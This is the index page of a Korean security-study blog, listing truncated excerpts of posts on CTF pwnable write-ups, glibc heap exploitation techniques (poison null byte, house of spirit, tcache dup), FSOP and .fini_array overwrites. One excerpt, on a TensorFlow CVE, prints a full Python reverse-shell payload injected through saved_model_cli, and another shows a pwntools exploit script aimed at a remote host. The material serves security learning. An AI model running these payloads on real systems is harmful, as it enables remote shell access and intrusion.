전체 글

Pwnable/writeup

HCAMP24-1 Check this Exploit Code

from pwn import * context.log_level = 'debug' p = remote("43.203.26.108", 1337) p.sendlineafter("option:", str(2)) p.sendlineafter("shortcut name:", "as") p.sendlineafter("a path:", "/home/pwn/chall") p.sendlineafter("option:", str(1)) p.sendlineafter("you want to check:", "*as*") p.sendlineafter("option:", str(4)) p.sendlineafter("option:", str(2)) p.sendlineafter("shortcut name:", "as") p.send..

Pwnable/Tech

poison_null_byte

먼저 Poison NULL Byte 의 경우 Off by one 에 기원을 둔 heap 취약점이다. 간략하게 이 취약점에 대해 정리하자면, 이미 할당된 heap chunk 를 새로 할당받는 heap 의 공간에 포함시켜 새로운 값으로 덮여 쓸 수 있는 취약점이다. #include #include #include #include #include int main() { printf("Welcome to poison null byte 2.0!\\n"); printf("Tested in Ubuntu 14.04 64bit.\\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byt..

Pwnable/Tech

house_of_spirit

house_of_spirit #include #include int main() { printf("This file demonstrates the house of spirit attack.n"); printf("Calling malloc() once so that it sets up its memory.n"); malloc(1); printf("We will now overwrite a pointer to point to a fake 'fastbin' region.n"); unsigned long long *a; // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memor..

Pwnable/Tech

FSOP - glibc 2.35 에서 FSOP 하는 법(feat. House of apple )

제목처럼 glibc 2.27 일부 라이브러리 부터 생긴 IO_str_overflow, finish 등에서 callback 포인터를 없애서 FSOP 를 못하고 있었는데, 찾아보니 매우 다양한 시각으로 FILE 구조체를 접근하여 FSOP를 시도할 수 있다는 것을 알게되었다. 그 중 House of apple 이라는 녀석이 매우 매력적이였는데, 이는 잘만 FILE 구조체를 수정하면 한번의 수정만으로 (하나의 읽기 쓰기가 가능한 메모리 공간, 주소만 있으면 됨) 익스가 되기때문이다. --> 이에 대한 내용으로 제 26회 해킹캠프에서 포너에게 조금이나마 도움이 되기위해 발표했었기 때문에 이 기법에 대한 자세한 설명은 생략하도록 하겠다. (궁금한게 있는 사람은 댓글 달아주시면 보충 설명해주는 글을 포스팅 하겠습니다..

Pwnable/Tech

.init_array && .fini_array

배경지식 ELF는 GOT를 활용하여 반복되는 라이브러리 함수의 호출 비용을 줄인다. 이때 GOT에 값을 쓰게 되는데, 그 중 처음 호출 될떄 함수의 주소를 구하고, 이를 got에 적는 Lazy Binding 방식이 있다. 이때 Lazy Binding의 특성 상 GOT를 실시간 업데이트(실행 중) 해야하므로, GOT에 쓰기 권한이 부여되는데, 이는 GOT를 변조 시킬 수 있는 취약점으로 연계될 수 있다. .init_array && .fini_array ELF의 데이터 세그먼트에는 프로세스의 초기화 및 종료와 관련된 .init_array, .fini_array가 존재하고 이 영역들은 프로세스의 시작과 종료에 실행할 함수의 주소를 저장하고 있다. 이때 이 주소값을 임의의 값을로 덮어 쓴다면 어떻게 될까? 답은..

카테고리 없음

Tensorflow CVE RCE

Tensorflow CVE 를 보다가 신기한게 있었다. 바로 Tensorflow 내부에 존재하는 saved_model_cli 파일을 실행할 때 옵션을 다음과 같이 주면 리버스 쉘이 따진다는 것이다. ㅇㅅㅇ! saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("0.0.0.0",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")' --dir ./ --tag_set serv..

카테고리 없음

Tcache dup / glibc 2.29

Tcache dup / glibc 2.29 다음과 같은 명령어로 glibc 소스 코드를 다운 받을 수 있다. $wget tcache 에 관련된 코드를 보자. 먼저 tcache_entry 코드를 보면 다음과 같다. // GLIBC 2.26 typedef struct tcache_entry { struct tcache_entry *next; } tcache_entry; // GLIBC 2.29 typedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ struct tcache_perthread_struct *key; //diffrence } tcache_entry; key 구조체 ..

Pwnable/Tech

Tcache dup / glibc 2.26

Tcache dup / glibc 2.26 tcache는 Double Free와 같은 버그의 검증이 존재하지 않아 fastbin 등과 같은 다른 bin에서의 공격의 난이도가 훨씬 낮다. tcache dup은 Double Free 버그를 이용하여 tcache_entry 를 조작해 이미 할당된 메모리에 다시 힙 청크를 할당하는 공격기법이다. #if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache && tc_idx counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return; } } fastbin dup 에서는 이전에 해제된 청크인 old 와..

Kon4
보안 공부하다, 적어보는 노트